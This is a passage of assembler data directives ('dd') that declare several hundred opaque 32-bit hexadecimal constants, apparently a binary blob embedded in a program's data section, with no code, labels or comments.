dd 0F196B445h, 0AEFD63h, 0FA1D1341h, 0F9A2552Ah, 48A0D022h
dd 183070D3h, 0F387C5F8h, 231EC201h, 0D1F99E3Fh, 5A275C7Dh
dd 2F528C20h, 6F138B12h, 3409ABEDh, 0A03607AEh, 0F33FD070h
dd 0CD8F0227h, 955DB148h, 6619C74h, 0BC7D346Ch, 0F425B300h
dd 0D7781E14h, 3BEDA400h, 911F7048h, 0B0D4277Ah, 0CD60F02Fh
dd 0BBF5FFCAh, 535DA000h, 7955BC14h, 0FAB1172Ch, 0E6AC4133h
dd 62D84F7Bh, 2ED40424h, 64C0F5D7h, 1306A96Dh, 20AF62D9h
dd 8D17C7B8h, 713B5C00h, 23D6DA56h, 7440045h, 8662547Bh
dd 0F9275B80h, 0AD2C18A9h, 4B962F78h, 54001892h, 0FCFE19Dh
dd 1BE37200h, 25997B89h, 86EB01A7h, 6BD9D4A2h, 0FA7C6049h
dd 610066E4h, 0C9F177E2h, 32457Fh, 0A6549F63h, 81109018h
dd 0C24B7900h, 0AA016017h, 912900D1h, 0DC28F65Fh, 5C74FDC0h
dd 8E36403h, 0D91011h, 0CE030D31h, 0AA8D3AF6h, 620F890Eh
dd 36405D21h, 1BE6BA5Fh, 99625F0h, 0A452B3E0h, 0CE695Ch
dd 41CC7279h, 16B612Ah, 8EAAFC12h, 0B84E13CBh, 586AD821h
dd 105E305Eh, 3AF4744Bh, 57050A15h, 0F591A9h, 6A732944h
dd 3003E018h, 0F7CDED03h, 1C49032Eh, 80FACB62h, 57481118h
dd 0F82BF851h, 0D62700BCh, 9222BA37h, 0AF50A5E6h, 4E634698h
dd 90E8FA29h, 7768E59h, 4924CB2Dh, 0A15750CDh, 280134BAh
dd 35D99E02h, 8AE01CB8h, 19F1005Eh, 3870874Ah, 333A1B0Ch
dd 3F8083D5h, 396F4281h, 76860AB9h, 10AFF172h, 813E7C03h
dd 8B474183h, 0E6810E49h, 0B07E1675h, 2EB514FAh, 0A801C675h
dd 736B4282h, 418092F1h, 2FD82DF8h, 11303338h, 0A44D69DAh
dd 752C0F53h, 13402B9Dh, 5E7D78B1h, 0A33EFC00h, 0FAAF3430h
dd 8F1006D5h, 5181398Eh, 68166C00h, 5AE0C715h, 76630627h
dd 2180E48Bh, 0FBF6F903h
dd 0A0057559h, 604757B2h, 1F9DB95Ah, 0F01C367h, 6273F2ACh
dd 39807F39h, 15F1FE20h, 0C10077EFh, 0A2EC0CB2h, 71D9BFh
dd 2CC7E69Bh, 0BC97F1D0h, 4870D0h, 0B4AC038Eh, 0FE5A57EEh
dd 0ECEC547Bh, 0A9870C4Bh, 3116AA3h, 2A26560Eh, 0A1C843EAh
dd 0BC193E6Dh, 9DF65D00h, 16025E88h, 806339C8h, 464C6518h
dd 8A707E90h, 94D81D1Fh, 0F036182h, 3B6044A1h, 0F380EA45h
dd 3BE68246h, 0CE5411E8h, 9A0072B8h, 74F23640h, 95D52Bh
dd 52C8B48Dh, 31835BA5h, 0F506347Bh, 54E6761Ah, 587334C1h
dd 40E40041h, 8C746111h, 82006090h, 0BEF17BFAh, 305AF74Ah
dd 66893CA4h, 0D87FD527h, 0A359500h, 88A3B3CFh, 543C0085h
dd 0E4B04597h, 873D6F38h, 0F6EF00F5h, 84944ACEh, 497216h
dd 0CB40D577h, 259ED2FCh, 0C31C2A78h, 4340AA53h, 4AEC2FE6h
dd 3179617Dh, 0FD06939Ah, 0C305D03Bh, 0AD565F06h, 217C19h
dd 3013AC55h, 0F07ECAECh, 3C66C002h, 3BF7E6h, 14CB2568h
dd 0A63080E9h, 82FAB886h, 94264C0Dh, 2FE31960h, 0F86031C1h
dd 6DFAD11h, 9B8E3963h, 86D4E500h, 3AB43893h, 9802607Ch
dd 3BCEEEFCh, 96D6E0FDh, 4D470C11h, 1599D37Fh, 62812560h
dd 0ECEBCDFh, 6538F954h, 591A1740h, 91008786h, 0DDA4EEBh
dd 0D1B86Dh, 3DCE9D3Fh, 4A9F78B4h, 0A98240DCh, 0AF13F5E3h
dd 0B1009168h, 0C0FB6E34h, 0FD06B888h, 583E267Bh, 159E0021h
dd 8EA2CB94h, 60027D45h, 1B2A8317h, 0FC98046h, 307A698h
dd 0B69ECF56h, 0D8069B37h, 11FEE3A8h, 20B90771h, 7022A798h
dd 79EEE06Ch, 2115D818h, 33DD921h, 6AA52A1Bh, 0CCB0A7A0h
dd 0EF026BA6h, 0FCD5498Fh, 0DFD8983Ch, 0C62B00D9h, 44DB1D42h
dd 88149FABh, 3851E3h, 0FCC99D66h, 0C0F930CCh, 265C09E9h
dd 91064AE1h, 77196E37h, 86A80051h, 14765AABh, 0D0071C5h
dd 2F01A37Eh, 0C0FE30F2h, 0A0817241h, 0A4726E99h, 8729D179h
dd 0E00094DBh, 74EC2CC1h, 0DD310F96h, 2B4008F3h, 0A53F8807h
dd 16124D14h, 8AF987E8h, 6B8AC50h, 76471E3Ch, 0A43D8064h
dd 0FAA7E3E4h, 783FCE06h, 3614492h, 0A23969C3h, 23CBCF99h
dd 83204900h, 41214F5Ch, 22F495h, 0CDBC1CA4h, 0CFC729FDh
dd 0C1FC3030h, 168EDA52h, 0BC2A0Bh, 34FD7FEBh, 7003F2DDh
dd 2850C243h, 906FA0BBh, 7967126h, 7F9A0513h, 27FA800Fh
dd 994835FBh, 9FE21474h, 0E073CFC8h, 4B8E78BDh, 0A2B20112h
dd 0FFE38444h, 986D101Fh, 0A48800B3h, 0F5119431h, 0DA00CA3Fh
dd 0FE9B39B9h, 78F6A8C6h, 0B6F2009Ah, 0CC3EA48Fh, 73FCBCEAh
dd 9E785200h, 4DB3B77Fh, 79836C75h, 96050630h, 0B6A83C24h
dd 0A8489808h, 0DDA70140h, 26127FC3h, 0CC22C5h, 0F4840691h
dd 4825CE10h, 0C894E0C4h, 63FBE501h, 0EC331965h, 0D7F2D5E8h
dd 0C8413F00h, 52261720h, 25931457h, 96281CCFh, 91A30093h
dd 0FEECD80Eh, 5761DB72h, 3F6C2B89h, 0A53F4h, 37BB9095h
dd 0D1B31202h, 61BCC500h, 9ED09A5Ch, 0DCA14988h, 9C1D1615h
dd 1A300071h, 9870D15Bh, 0C507E5FEh, 48ADA8B7h, 4FDB7BB1h
dd 1F636980h, 6A011188h, 8CD8E509h, 109480E7h, 4939BA6h
dd 0B09DA009h, 27FD833Ch, 55DD6100h, 1BD33FBEh, 75FD0037h
dd 0B60AC782h, 0EE50534Dh, 2D053AFCh, 0F07C9880h, 6D310A80h
dd 3CB00B6h, 0D1E8D97Eh, 0C06FBFDh, 0A825DF19h, 0FFC500A8h
dd 9914E9CCh, 0B339A1A4h, 3988609Ah, 60C44B77h, 6AE1B955h
dd 0ED002445h, 0B9F73473h, 14FACE4h, 0BA50DD37h, 89C15D25h
dd 84136B90h, 0F522E2B8h, 0CA259490h, 0B60651DFh, 1893C2Ah
dd 9F1083E6h, 8095B0D4h, 2F7E0680h, 7807CBBDh, 91C20369h
dd 530C9723h, 921DB2D7h, 11559098h, 80262539h, 3AC7EB37h
dd 7CD78AB2h, 8FBA0193h, 78A4AE57h, 23C44998h, 2A450038h
dd 293CA86Ah, 0CC0406D2h, 294CA578h, 7B584390h, 10BA8968h
dd 3A6FC35Ch, 98602D97h, 187EF5D0h, 0BAC7B0DDh, 9970FA59h
dd 0A0B646F9h, 39680B4h, 7FAB6319h, 0C7D1BDBBh, 2354204Dh
dd 1D939F01h, 563E4383h, 318061BEh, 0E01ED3EAh, 405B07Ah
dd 2C44AA32h, 0F9A8D801h, 40966CE7h, 9474102Fh, 143CE612h
dd 0D12408A4h, 6ABF60A4h, 990C9360h, 909B43B9h, 788403BBh
dd 8BCBF2D5h, 0C7344000h, 0F7B39E6Bh, 3CD3B0EFh, 68B9B4A8h
dd 0E033638Ch, 197FE851h, 48BDE301h, 4A991CD9h, 198814E4h
dd 0C162DBA3h, 82FBFCA7h, 7660E303h, 99ED2693h, 0E021D272h
dd 1C9C80F6h, 4127EB3h, 0B1DB96ABh, 51648002h, 0B4A49D77h
dd 0C06B4A09h, 0A1B090C4h, 0A22105FAh, 438019EAh, 0E68CD7CCh
dd 4B8B4FB8h, 3EA1B614h, 0C68FE0h, 8E65E3FFh, 3DE20414h
dd 807BCF63h, 29E99BE2h, 2E4E8B5Ch, 0B6451CD0h, 388214h
dd 7FE83917h, 16972BC3h, 0E832396h, 33462F9Eh, 9D0031FFh
dd 1A620F58h, 1C3ADDACh, 93BC4D6Bh, 0E880207Dh, 0A107F1C9h
dd 0DB4CCAFEh, 299D5D50h, 0C8C101FCh, 46037327h, 0F304300Ah
dd 1075682Eh, 0C452912h, 8C015F9Ch, 4920162Fh, 35415900h
dd 0B4F2CC00h, 0A407D78Dh, 0E98000FAh, 6B16EC3h, 772969F9h
dd 4A0DC8BBh, 0E3E3B179h, 0B030A5A5h, 1701BDBAh, 21DB2A3Dh
dd 0C40AE444h, 3100D5DFh, 0A3359172h, 41439FEh, 0A12A8F28h
dd 0D178807Ch, 24631507h, 0B827C951h, 0BB47E9h, 0C333A511h
dd 0A0D5E050h, 266B7F0Bh, 0A7C499CBh, 482041D1h, 57A203FBh
dd 0EFA3E4FDh, 6C6194B2h, 2F6092A8h, 4451DC08h, 103F40FBh
dd 4CD29941h, 24027474h, 93A09AB0h, 8C648C2h, 0D5796D00h
dd 0AFEEF962h, 693F02CBh, 8BD73206h, 82ABC4E8h, 0CD1103E8h
dd 6F004B3Eh, 14E0AC11h, 0BE7E4C33h, 9D0DCC1Dh, 40FEC94Eh
dd 9088A30Ch, 58B4B09Ah, 0FFC0E02Ah, 3837956Eh, 0B277AEE8h
dd 29938F03h, 0B44ADA3Ah, 2FD03C80h, 96A104A6h, 826CD91Eh
dd 84517B18h, 0BD4292BAh, 81F9BC08h, 558D5230h, 611CC1D1h
dd 5122EDB2h, 604688BCh, 0F1F8C3Bh, 3B562Eh, 59DE1402h
dd 0C9B96A9h, 18153616h, 56052231h, 31C6A1B1h, 0C903000h
dd 120FB8B7h, 4F1D528h, 0C0A06E84h, 50F7C6D0h, 0A485090h
dd 31360DE0h, 65F839E1h, 0D8E600A9h, 0E57A3CEAh, 9C045ABBh
dd 0EB4A26F6h, 30E328C1h, 0EE1D0862h, 0E038C0C7h, 6C8874F2h
dd 0D1F5AD0Fh, 0A139EC23h, 1E9C3ED4h, 9DC37A00h, 6CABCC3Ch
dd 0CB52B200h, 0BF8F65BEh, 0AC145C91h, 258CA23Ah, 2E6111C6h
dd 108D7800h, 0F8D62296h, 0EA330464h, 809038CEh, 60CD5714h
dd 0FBC15307h, 1D1A829h, 84E48EE1h, 0B4631F1Ah, 9F393FEh
dd 44007BA7h, 5E22666h, 0CD1961C5h, 1B6FD441h, 0BAF45352h
dd 0B1FAB2h, 3C2D982Ah, 90AC67BCh, 48522502h, 0E51DB88h
dd 0BE734F43h, 848B5BF0h, 1E01863Bh, 0B46850CBh, 5E40E170h
dd 401C4B36h, 863D1E30h, 38009920h, 34966A2Ch, 4A9BE459h
dd 1209FCFFh, 4410A907h, 0B0A22B4h, 7F6CC135h, 4E903C03h
dd 0E77795C8h, 0F3280D01h, 0AA97E040h, 24B84860h, 0C5CCCC26h
dd 2495CEh, 0D09F21C0h, 8CB032D2h, 7FC86244h, 0C161013Fh
dd 67EA66B3h, 0FB80E7BAh, 350C24AFh, 0C1D21989h, 0EFBF009Ch
dd 0BB821F8Eh, 9407DAF0h, 0BD55FD43h, 66238932h, 0F0DD00F0h
dd 9157EE1Bh, 2701B80Fh, 4D6DE163h, 518F7D7Fh, 79094B6Ch
dd 6FA69810h, 0B3181AFAh, 0C44963DBh, 0D52516A2h, 7C051435h
dd 7A557180h, 0CF09339Ch
dd 80D2FB21h, 0C9142E50h, 6C1B054Ch, 8085FDF6h, 0B0A04888h
dd 875C3348h, 30001ADAh, 7DEA3C8Eh, 0B7A00BAh, 8FB469C3h
dd 0D0E24FCBh, 79A85B3Dh, 909B8606h, 914E3Eh, 6C7AE6Fh
dd 0A0328E6Bh, 0B4BC907h, 54100D9Ch, 6CF913Eh, 1910B99Bh
dd 7500D9D1h, 0BC9F805Ch, 0EA7D902Ch, 14407153h, 0F8ADF9E8h
dd 874A351Eh, 0E00EBABBh, 0D3A61065h, 0DB99A07h, 1440237Ch
dd 2EA7F196h, 0C183CC8h, 0A1D10FC7h, 8CA82FE6h, 8F7AA68Bh
dd 52F9A30Eh, 0C730E019h, 0E59AA9Fh, 0B1FD3499h, 0C2B64C80h
dd 2511416Ch, 0CA00E430h, 7144F74Bh, 5907EF8Dh, 0CB78403Bh
dd 0F0B1F491h, 0C6B9BAD7h, 81962244h, 0B8D09A0Eh, 0DDE982D6h
dd 207C4140h, 0C1DC3030h, 302B0DD8h, 46980E3h, 6D082169h
dd 500100BEh, 772AB0ABh, 0E4989987h, 84663C28h, 61781930h
dd 5C9B2Dh, 0A5C7CDDBh, 12D1A2D3h, 4D25511Eh, 50201E12h
dd 395D0E91h, 0E3009D8Bh, 0EBBD027Ah, 934C3BD8h, 21D70AC0h
dd 1B82D0BFh, 41CF7E3h, 91948068h, 1A1806B7h, 1151C91Eh
dd 36BB00CDh, 0B2231DBFh, 0A80019D2h, 0C938DD7Eh, 266C51EFh
dd 19F459DCh, 734B8E13h, 363200B0h, 884F1BCh, 112902B5h
dd 26FC1B7h, 94386C60h, 86CA1401h, 0CE25837Ah, 0BC2CF473h
dd 944009FBh, 2B4E6000h, 7C484D43h, 9CE9809Ch, 3F8F06h
dd 0BE535967h, 0A5EBFD41h, 0E4227002h, 0C03AB987h, 0E2D536C8h
dd 0FC3C00E8h, 429C1E7Ch, 0BB2437B8h, 15013C45h, 3E872998h
dd 4400A02Dh, 71A7B5D3h, 0A1E31D8h, 0B307422Ah, 7550A8D0h
dd 34789DCCh, 314793h, 0ADFDEB9Ch, 2513A1B3h, 30123BFAh
dd 4BF7A4CCh, 0CC1001EBh, 609BA25Bh, 3E50AEA4h, 782521F8h
dd 631411A0h, 8A147439h, 510024DBh, 0D353DA7Bh, 0A45C78CEh
dd 0EC00D27Ch, 154E25D4h, 35C9152Eh, 0DC011CB1h, 929FE3C0h
dd 712C431Ch, 317247D8h, 6BEC5EE2h, 9646B800h, 39C85908h
dd 4BCA08Fh, 31752429h, 2FA4405Ch, 9279C4FEh, 0D15FF903h
dd 0C8EBD7A9h, 4E52B501h, 5C242302h, 0B0353690h, 0D0293224h
dd 0E810F65h, 0E4CCA745h, 1C10774h, 1067977Ah, 5FDFB5CFh
dd 0B32F9A09h, 263986D1h, 1F590039h, 0F09B9836h, 1E002B1Ah
dd 63E10448h, 59ECA5Fh, 3DE387D0h, 0C940C250h, 0B4258823h
dd 6019D4B4h, 0A36F1975h, 89026B4Dh, 9DEC7356h, 8C9B8AB9h
dd 0F7B61E01h, 1080A8C7h, 0FD44FCEBh, 101FE32h, 0B6986C06h
dd 4081B3A1h, 19A3BCBDh, 0DE5980D4h, 9B38AC61h, 0A970F935h
dd 0C37100F1h, 702869A9h, 462B003h, 85C42540h, 20001E4Ch
dd 793E058Dh, 0B9F8007Bh, 5C2068F2h, 2E2FFF2Fh, 27D5458h
dd 0DB9EC97Dh, 24000C5Ah, 37A7CF77h, 2EE87A2h, 5B11F198h
dd 0B440B0FBh, 35CE316h, 22B49448h, 0AC9801FAh, 0A3C80BF4h
dd 0D82DDBh, 482C659Dh, 7F87E963h, 6C220053h, 0C6553B8Eh
dd 8F17EA52h, 0E8306EBDh, 4C4189E6h, 3C02D0B7h, 0C465CC38h
dd 6FF05072h, 693DBD00h, 0D078B5Ah, 26EA13A8h, 0FDAC88D1h
dd 1CB4286h, 0B926BB91h, 942088B3h, 939F0648h, 107DC106h
dd 0BE2D3313h, 26360480h, 3A16304Bh, 3811E549h, 0CB06A700h
dd 5B5020D6h, 4C80B83Fh, 9C034CDh, 0DB8202C1h, 2D3CB612h
dd 0A1552400h, 51C27EC6h, 0E860F17Fh, 40762E33h, 0A3216098h
dd 11003A8Ah, 1528ED96h, 110C892h, 573159C5h, 23A9CF86h
dd 616D070Ch, 0EC901167h, 7F13F3h, 2ECC9F17h, 216CE75Bh
dd 0B1505472h, 962C1DD8h, 9102C815h, 60BDB2BEh, 4051E41Ch
dd 33503192h, 0F545CCA0h, 0ADE52086h, 3B5C404Eh, 696FC0B8h
dd 3E3ED57Eh, 7381976Ah, 4C5F7531h, 7C11CC3Ah, 0F827634Ah
dd 0F5804555h, 7D4B59B0h, 0B99F3C3Ch, 0C1FEC900h, 5C2F6EDCh
dd 8E36FD01h, 0C398566Dh, 0A740AFDFh, 0A14497h, 969ACEF7h
dd 6C40B1EEh, 225BC116h, 94393840h, 0F231B3EFh, 141F073h
dd 0F61AA8B1h, 20B628BFh, 0BC3166F8h, 0D9F9D0ABh, 908DA460h
dd 0A9E0C0CCh, 4D5CA55Bh, 947A7827h, 2EA82864h, 20FA05F0h
dd 0A2E3258Dh, 0D71F0198h, 0C481299Eh, 91006029h, 0E21C2F7Fh
dd 4E691789h, 0FF4EE58h, 0AAF7021Eh, 7F19D5A0h, 0CF6926F0h
dd 2F880941h, 0D8012118h, 0E4391C27h, 0E95F1903h, 3DB8F879h
dd 0DB22DA65h, 96073859h, 0F9C53Bh, 10A054D4h, 0FA4D355Dh
dd 0CB00B5E4h, 8393CC31h, 949677DAh, 593C4054h, 0FC0341F2h
dd 794AC634h, 20712DCCh, 0DC59D0A0h, 4E000D3Fh, 0F8D46584h
dd 3A1A712h, 6ABEDF8Ch, 3BF32893h, 78CF60EFh, 61C3509Dh
dd 0B7E754Ah, 0A86E3851h, 270058C4h, 0CA1C0597h, 198470Ah
dd 9E462542h, 0F631D350h, 0ACE05920h, 0AB910006h, 0CDA9C4DAh
dd 0D53863A4h, 89F8B957h, 3F9FA9Fh, 0B17B35D8h, 0B420B385h
dd 3BD1D18h, 48C49424h, 0C0AB991Eh, 0A86D1A3Eh, 19229EE2h
dd 4FAD057Ah, 0A3D03D32h, 0FCE317C4h, 5986C891h, 0BA654C20h
dd 0E8D20004h, 73FAFDD9h, 5417E182h, 0F0D07E4Dh, 5AC9EB9Ah
dd 0DEC42025h, 0FB0E832Bh, 7E3DF4C7h, 1DB0DCBh, 9D12FA48h
dd 122F460h, 6957DDFEh, 3CAB6AC3h, 11B383E4h, 9D1B806Dh
dd 78689068h, 9A7506ECh, 70C49FD5h, 28E45224h, 0C858F991h
dd 60C11222h, 50D1FD3Eh, 2A80402Ch, 2CE7ABFFh, 7C2F8200h
dd 8A6497F6h, 3FD679FEh, 0CB80D831h, 46F27E20h, 0D401E9A7h
dd 73872C7Ch, 6980E733h, 0F5B00407h, 9004066h, 46B22E41h
dd 0B20E2A6h, 5F9D2264h, 30028C4h, 7AF6FD6Dh, 0E04AE42Bh
dd 65D6005Bh, 0C5056E0Ah, 854CECACh, 80211FCCh, 66B6AB87h
dd 82E01E82h, 60385294h, 167723DCh, 90CE2633h, 0C41F7C50h
dd 0AB0064B1h, 406C283Eh, 258F0D5h, 22A6D235h, 44441ECAh
dd 6D0AFC00h, 92F2ECB8h, 66E702B5h, 0FAE4EA5Ah, 0F6F4F458h
dd 0E99F450Eh, 80A1CD6Ch, 0ACA062AFh, 3350FB7Fh, 72E2F504h
dd 0FC82BC0Dh, 0C81525C5h, 99F65954h, 61C91F00h, 0FC42A7Bh
dd 0F8210F87h, 0D800CBE6h, 0A4DD4678h, 0F27C0C02h, 0C05B1D93h
dd 98790354h, 57C84E44h, 0F0E42760h, 0A4BA6407h, 0DA0FC60Eh
dd 0E0D3A0F6h, 0BA8CEC44h, 0A16B0938h, 1891A078h, 1946231h
dd 50194D6Eh, 46F865F3h, 0BFAA090Eh, 0F46042F4h, 585A3051h
dd 91091820h, 67DC0175h, 699A2372h, 0F795E896h, 8F203003h
dd 0A9A49B27h, 9C7DE8E3h, 97C662Eh, 0F506B9A3h, 0C32D32DFh
dd 46D82020h, 25BF55h, 28858CBAh, 4F4D234Bh, 624ADA12h
dd 711FA860h, 1E88A089h, 0CB261030h, 80D288E4h, 7FB85A79h
dd 9401EFE7h, 0B24DC4A3h, 0D4335B30h, 2F6913h, 0A9D9442Bh
dd 5CB872AFh, 0C9B51D02h, 7115EF01h, 0D85D0034h, 0C51182A4h
dd 0F2A2300h, 812FEABFh, 0FDCA3126h, 7029B681h, 7812F627h
dd 4CB2C725h, 0CE35FC07h, 0C2E64421h, 2024C688h, 19011CADh
dd 9D8A9218h, 0DA76F4AFh, 0D9F26301h, 0ACFB7C42h, 7FA6F4h
dd 50C2B666h, 6FC30AC4h, 1703300h, 0A506232Ch, 597C6019h
dd 0FC53CDE9h, 9BF04400h, 7E9F78A3h, 48E3F298h, 0C580D831h
dd 72270363h, 2B0C900h, 38CFD41Eh, 0EEF73F0Fh, 154752Eh
dd 0C4836CBh, 0DE38309Bh, 646E4E2Ch, 0C4961A01h, 61613DEBh
dd 0A5BF7980h, 0A10FA7F0h, 27D12Fh, 7D9A3EBCh, 0E89933h
dd 0CE69DF08h, 6A00AA98h, 9DCAC692h, 0D9ED14h, 2953EF9h
dd 90293685h, 0CE628816h, 121ECC8h, 1A4C07E4h, 0F04233C2h
dd 0A32D2639h, 73A01013h
dd 7BBE0002h, 0F62F9B74h, 0EA4BDB67h, 0EA86888h, 0C9EE359Ah
dd 2D591EECh, 0F4D4EC00h, 87736641h, 7C807CEh, 3228760Ch
dd 7CDA9877h, 51E63412h, 443E40E4h, 113C2556h, 0F0B6007Ah
dd 0E78CBCD8h, 0E20903E5h, 0DF947E5Eh, 66D02400h, 0A3B7DC3Ch
dd 9CCE5419h, 87480028h, 0E2710494h, 184835DEh, 5B660058h
dd 81E9617Fh, 2986B6C8h, 7A218CC4h, 0CE019760h, 0B996A8A3h
dd 0B448302Ah, 0BF740035h, 0B12214Eh, 10008C19h, 8553305Ah
dd 39E7764h, 0B10DC776h, 0D1002C16h, 0E348CF39h, 1745E9C9h
dd 217A09h, 0B97B743Ah, 0C802E1B5h, 0ED13FE1Ch, 67C8400Dh
dd 0D4884CDDh, 895F7702h, 0A8C41E56h, 0AF058604h, 98B37590h
dd 969ECF02h, 0AC8B4637h, 0A00B466h, 6463F9E9h, 131CCE7Ah
dd 309714FCh, 56E006D4h, 54CBE00h, 302E9918h, 52D5007Bh
dd 263EC835h, 0E1053C9Dh, 32CE6E86h, 9001E8B2h, 940C31BEh
dd 0F4E060A0h, 0F6E3890Bh, 71F4A977h, 2EE70014h, 3F2B69C9h
dd 0ED00EC76h, 4EB3EBFDh, 16BFE3A0h, 12D5075h, 8687DD31h
dd 80E02861h, 0F532D9A5h, 0C4DF007Dh, 93B924EEh, 0FB005BE6h
dd 37E840B7h, 62F9E332h, 3063990Bh, 0A77614F2h, 801F543Dh
dd 0C05D7B5Fh, 28B9D51h, 57E11419h, 2C6186C9h, 0B89110F8h
dd 0DEB000A9h, 0B50B9CECh, 0A8175FE8h, 54C8966Ah, 7EB0E027h
dd 0C474006Ch, 54724F3h, 2E7FCF53h, 0D808BA4Fh, 828D8011h
dd 0D4EDFEA6h, 58248002h, 9252E3A1h, 1FE88EA4h, 6FC25907h
dd 60C927B2h, 21D9671h, 3DC5F647h, 78E419A1h, 62F00900h
dd 719E847Bh, 0E59B000Fh, 0A8EBCD8Ch, 829510B4h, 0C08D78A8h
dd 371062Bh, 256DE861h, 0E9120EE2h, 0C0D019B6h, 0BC6735h
dd 982C2EE1h, 5FC6B0BDh, 80E98B00h, 0AB42C907h, 83160091h
dd 66940B14h, 40947F4Dh, 0A3B38880h, 4C8DA1CBh, 351988D0h
dd 28A080A8h, 0FFE38410h, 4DCCF089h, 0AC10B491h, 19A202B4h
dd 5CDADB8Eh, 0E2351000h, 0E5D3B776h, 4520085h, 91C2B0DCh
dd 0BA581EC4h, 49B911BCh, 0BE3B2858h, 2200C2BAh, 8EE4239Ch
dd 0E3164495h, 1008CC2Fh, 83938F84h, 8819CFC4h, 23C56D0h
dd 9EDF875Ch, 2EA00D42h, 0C7C135Bh, 0B87696FDh, 86F0C078h
dd 939BCF0Bh, 0D4678036h, 25D9DAB2h, 0D4C0F46Dh, 155C50A8h
dd 0C7E8060h, 42E1737h, 257DF6F0h, 0B74B3C5h, 76CC269h
dd 474040AAh, 0AFF143h, 70E0D09Bh, 5241CCFCh, 0FDFE3109h
dd 82D898B0h, 90AB00F3h, 40D11586h, 771265DBh, 20015F55h
dd 794A220Dh, 0E90CF063h, 38B88E1Bh, 25B34F14h, 988969C7h
dd 1F5E4A34h, 0C1EF558Dh, 0AF2491C3h, 83C43CA1h, 0E85EC022h
dd 0B712099h, 40B09091h, 6BF29898h, 0FE5E4501h, 0FD57D87Bh
dd 9AA3C0F7h, 0F0996940h, 0FC1E6E07h, 2107D831h, 603B4E1Ch
dd 3E1F2C0h, 0D7D100FBh, 78B074C3h, 0F0A8469Eh, 92F03CCEh
dd 98115B69h, 473D23Ch, 78B6FA8Ch, 9E30E493h, 0E2001490h
dd 0B8B4AAAEh, 303E62FEh, 4921C625h, 0C14CFCC8h, 362F0C3Fh
dd 78290872h, 60FA589Eh, 0F2CD2585h, 2C2D12F0h, 1BD340Bh
dd 0CA3421E0h, 7810109Eh, 0E1AFB712h, 0C8D2FC68h, 29A85100h
dd 0CCFDDEA9h, 1660495h, 0A2555227h, 8C18005Ch, 0A84BA5C8h
dd 0D5C60111h, 928BB5C7h, 838A40BFh, 8F4C661Ch, 0D690CCA4h
dd 382A00F3h, 0E845B841h, 0BD003F86h, 0D1AF7D19h, 9E99BB6h
dd 0A4781C23h, 0B339B8C4h, 8BFA0265h, 0E06AC038h, 17D1C33Ch
dd 12B9D67h, 4D44E07Ch, 22A47360h, 0A6520022h, 5FFEEE8Eh
dd 0A00D64Ch, 0E3D72F3h, 56836CCh, 0E9A0C573h, 0D0E2B5h
dd 0A580853Ch, 0EC2D0B1Eh, 7192980Ch, 0D5740A8Bh, 25F01BE4h
dd 7A00B045h, 0FC32AB2Ah, 1E8CA164h, 0C7005022h, 2D428183h
dd 0CC097299h, 1030B3A3h, 0AF5364h, 19FCFA82h, 0BD362E8h
dd 41C01A9Fh, 6826C34Ch, 0D8CB4607h, 8604C23Ch, 0FC93BC41h
dd 145C6471h, 0CC4F4E0Bh, 73DA2080h, 0F43226Ah, 0FF899230h
dd 0B91AF21h, 0CB3A31FDh, 7D5A1FB0h, 0DB86B30Ch, 24D94Dh
dd 81CA06EEh, 0DC318E9Ch, 0DB6CA300h, 0E2433BC8h, 9AEE003Fh
dd 0B4B70593h, 0CA012AA4h, 0CE1DE301h, 0C33B34F7h, 0B4BD268Fh
dd 0A09119ECh, 0F0690400h, 0A9BDBB3h, 0EBEA992Bh, 940D63A4h
dd 7FD3A9F0h, 0DD299604h, 68002C15h, 0CA41F854h, 0B6BED8F1h
dd 0BD1D8E03h, 912D8D4Ah, 80C63118h, 0F5CAEB24h, 0AE9B00BFh
dd 99D51A93h, 0CE4D94F9h, 0DE8C1328h, 13FCE0E0h, 927E4AE5h
dd 50EC8EACh, 0D2F7B013h, 0E01F2C07h, 544D47A2h, 8F65409Ch
dd 42008D77h, 0CEFBFE23h, 0B80C86E6h, 0F2AC3E2Ch, 0EAA8B6D0h
dd 0B83F2DDFh, 1CC4CE8Ah, 2747C54h, 75A5EF30h, 98F89ADBh
dd 0F011E822h, 51470015h, 9E8D059Ch, 0E4B6BE09h, 0B1F4EA40h
dd 0F7E900CCh, 755584E2h, 0E300F6FEh, 1E82C52Dh, 25415EE8h
dd 8810B6F9h, 0C10ECB97h, 0C3E0FC87h, 5E7F630Eh, 0D8A85386h
dd 0E601BF14h, 0EBF8A367h, 94232A90h, 4D5CB800h, 600559CAh
dd 5A259D00h, 86B0D7F8h, 20C80004h, 96A12A94h, 6CB93EBBh
dd 65444D9Ch, 1C12204h, 93D81992h, 9B09093Ah, 0CC9807D9h
dd 800614Fh, 0DFFA63B0h, 2A6B686h, 5101B4Ch, 0A47912D4h
dd 4B02C900h, 1A6B217h, 834E5C3Dh, 3B3E7C0Dh, 0DEDFC85Ch
dd 40188700h, 700657h, 74AA2EB3h, 593D2717h, 0D15DC900h
dd 0FEE350C3h, 0A8B600A0h, 7907E0D4h, 0B10401B8h, 1E95B3D2h
dd 231488h, 6C5CDCCFh, 0C39B2E0Eh, 0C97BAB05h, 8CF53E89h
dd 0AE7C0C8h, 0E9CF7A6Ch, 305604FCh, 0E600CCE5h, 6275AF00h
dd 79631859h, 0BAEB02D9h, 0A1BE9438h, 20B45761h, 9F480284h
dd 0FC2E0010h, 8309FB2Ah, 7F9B2454h, 16E208B4h, 0B0F6E38Bh
dd 0F7AB28D0h, 480D07D0h, 0FC7811C9h, 7DBD1776h, 0BCA0903Eh
dd 78018905h, 28D5BF65h, 0B430CFD3h, 0E45C131Eh, 0C998F42Dh
dd 0D36008BCh, 388AEF91h, 8609FA25h, 10103366h, 2400C44Eh
dd 0D0806103h, 0FEB3C0h, 0E004BE84h, 8C8A13ADh, 1B28930Eh
dd 6CC16085h, 10D03DFh, 4A15F7AAh, 22C4BE6Bh, 5CBF00B4h
dd 0A4B0D673h, 58D148F7h, 8DBE9CC0h, 0B50942B9h, 0D6BBA5B2h
dd 0E86E009Ch, 1296D1E3h, 91A85600h, 0F2B6B408h, 0E2251672h
dd 13E888F8h, 3A8B388h, 0A9151A96h, 0ABC0366Ah, 0EF7DFD2Eh
dd 262B7F73h, 3D0080C8h, 0E6FC8434h, 0B99103A9h, 6A388164h
dd 9EBD4416h, 61C98031h, 394B46DCh, 1B0FA47Ch, 8747CD05h
dd 3A22614Dh, 0A132CC91h, 0EC084898h, 807B964Ah, 6F38FAFDh
dd 18BE5E4Eh, 971AFE85h, 0A64BBC00h, 33D6B039h, 0B521666Dh
